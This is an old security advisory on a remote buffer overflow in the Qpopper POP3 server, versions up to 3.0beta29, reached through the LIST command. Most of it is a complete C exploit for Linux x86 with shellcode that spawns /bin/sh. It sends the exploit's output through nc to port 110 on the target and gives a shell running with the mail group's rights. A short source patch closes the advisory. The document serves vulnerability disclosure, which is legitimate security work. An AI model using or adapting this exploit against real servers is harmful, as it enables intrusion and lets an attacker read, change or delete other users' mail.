COMMAND
qpopper
SYSTEMS AFFECTED
Qpopper <= 3.0beta29 (2.53 and olders are not vulnerable)
PROBLEM
'Zhodiac' found following. The, nowadays, so common qpop pop3
server is one of the best server which implements some features
added not in normal pop3d. Like almost all software it has some
security bugs. In this case, once you pass the login process you
can execute malicious code due to a buffer overflow.
With this buffer overflow (second argument of the LIST command)
you can execute malicious code with the uid of the user you
logged in, and with gid mail. Due to have gid mail, in some
systems you can read all the mail of other users and even
change/delete it.
For proof of vulnerability here's the Linux x86 xploit. But be
aware, no public xploit for your system does not mean you can't be
hacked. Vulnerability exists, fix it!
/*
* !Hispahack Research Team
* http://hispahack.ccc.de
*
* By Zhodiac <zhodiac@softhome.net>
*
* Linux (x86) Qpopper xploit 3.0beta29 or lower (not 2.53)
* Overflow at pop_list()->pop_msg()
*
* Tested: 3.0beta28 offset=0
* 3.0beta26 offset=0
* 3.0beta25 offset=0
*
* #include <standar/disclaimer.h>
*
* This code is dedicated to my love [CrAsH]] and to all the people who
* were raided in Spain in the last few days.
*
* Madrid 10/1/2000
*
*/
#include <stdio.h>
#define BUFFERSIZE 1004
#define NOP 0x90
#define OFFSET 0xbfffd9c4
char shellcode[]=
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89"
"\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh";
void usage(char *progname) {
fprintf(stderr,"Usage: (%s <login> <password> [<offset>]; cat) | nc <target> 110",progname);
exit(1);
}
int main(int argc, char **argv) {
char *ptr,buffer[BUFFERSIZE];
unsigned long *long_ptr,offset=OFFSET;
int aux;
fprintf(stderr,"\n!Hispahack Research Team (http://hispahack.ccc.de)\n");
fprintf(stderr,"Qpopper xploit by Zhodiac <zhodiac@softhome.net>\n\n");
if (argc<3) usage(argv[0]);
if (argc==4) offset+=atol(argv[3]);
ptr=buffer;
memset(ptr,0,sizeof(buffer));
memset(ptr,NOP,sizeof(buffer)-strlen(shellcode)-16);
ptr+=sizeof(buffer)-strlen(shellcode)-16;
memcpy(ptr,shellcode,strlen(shellcode));
ptr+=strlen(shellcode);
long_ptr=(unsigned long*)ptr;
for(aux=0;aux<4;aux++) *(long_ptr++)=offset;
ptr=(char *)long_ptr;
*ptr='\0';
fprintf(stderr,"Buffer size: %d\n",strlen(buffer));
fprintf(stderr,"Offset: 0x%lx\n\n",offset);
printf("USER %s\n",argv[1]);
sleep(1);
printf("PASS %s\n",argv[2]);
sleep(1);
printf("LIST 1 %s\n",buffer);
sleep(1);
printf("uname -a; id\n");
return(0);
}
SOLUTION
Best solution is to wait for a new patched version, meanwhile here
you have a patch that will stop this attack (be aware that this
patch was not done after a total revision of the code, maybe there
are some other overflows).
77c77
< return(pop_msg(p, POP_FAILURE,"Unknown LIST argument: %s",
---
> return(pop_msg(p, POP_FAILURE,"Unknown LIST argument: %.128s",